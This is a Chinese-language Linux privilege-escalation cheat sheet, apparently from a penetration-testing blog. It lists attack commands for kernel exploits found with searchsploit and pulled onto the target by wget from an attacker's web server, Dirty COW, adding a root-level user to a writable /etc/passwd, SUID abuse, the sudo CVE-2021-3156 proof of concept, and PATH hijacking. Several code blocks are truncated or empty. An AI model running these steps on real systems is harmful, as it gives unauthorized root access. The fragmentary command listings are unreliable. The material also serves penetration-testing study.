Linux提权
信息收集
手动收集信息
查看操作系统版本
1 | cat /etc/issue |
查看内核版本
1 | cat /proc/version |
工具收集信息
信息收集
https://github.com/rebootuser/LinEnum
提权exp收集
https://github.com/mzet-/linux-exploit-suggester
https://github.com/jondonas/linux-exploit-suggester-2
1 | wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh |
本地内核提权
查看版本信息
1
uname -a
扫描当前版本是否有漏洞
1
searchsploit linux 4.10.0-19
查看exp信息
1
2
3searchsploit -x linux/local/45010.c
#查看exp利用方法
https://www.exploit-db.com/exploits/45010使用该CVE提权
1
2
3
4#复制文件到当前目录
cp /usr/share/exploitdb/exploits/linux/local/45010.c .
#当前目录下启动web服务
python -m http.server 80靶机wget下载该文件
1
wget 172.168.20.105:80/45010.c -O bt.c
编译运行,提权
1
2
3gcc bt.c -o bt
chmod +x bt
./bt
脏牛提权
- 漏洞描述
- 编号:CVE-2016-5195
- 名称:脏牛
- 危害:低权限用户利用该漏洞技术可以在全版本上实现本地提权
- 影响范围:Linux kernel>=2.6.22 | Android<2016-10-18
- 漏洞原理
- 该漏洞具体为,get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。修改su或者passwd程序就可以达到root的目的。
1 | uname -a |
/etc/passwd可写提权
使用perl生成带有盐值的密码
1
2perl -le 'print crypt("aaabbcc","123456")'
12BWKETBcM70Q将信息添加到/etc/passwd文件中
1
echo "aaa:12Qm6c8LFmbDA:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd
切换用户
1
su aaa
定时任务提权
手动收集信息
1 | #以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试 |
添加suid权限
1 | 查看权限:whereis find |
sudo提权
Unix操作系统在命令参数中转义反斜杠时存在基于堆的缓冲区溢出漏洞。当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或 -i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出。只要存在sudoers文件(通常是/etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。
列出目前用户可执行与无法执行的指令
1 | sudo -l |
查看sudo版本
1 | sudo --version |
漏洞探测
1 | sudoedit -s / |
复现
POC地址
1 | tar -zxvf CVE-2021-3156_nss_poc_ubuntu.tar.gz |
环境变量提取
新建一段c代码:demo.c
1 |
|
编译:gcc demo.c -o abc
复制到:/home 目录下
添加权限:chmod u+s abc
查看哪些具有suid权限:find / -perm -u=s -type f 2>/dev/null
使用cp命令提权
1 | cp /bin/sh /tmp/ps |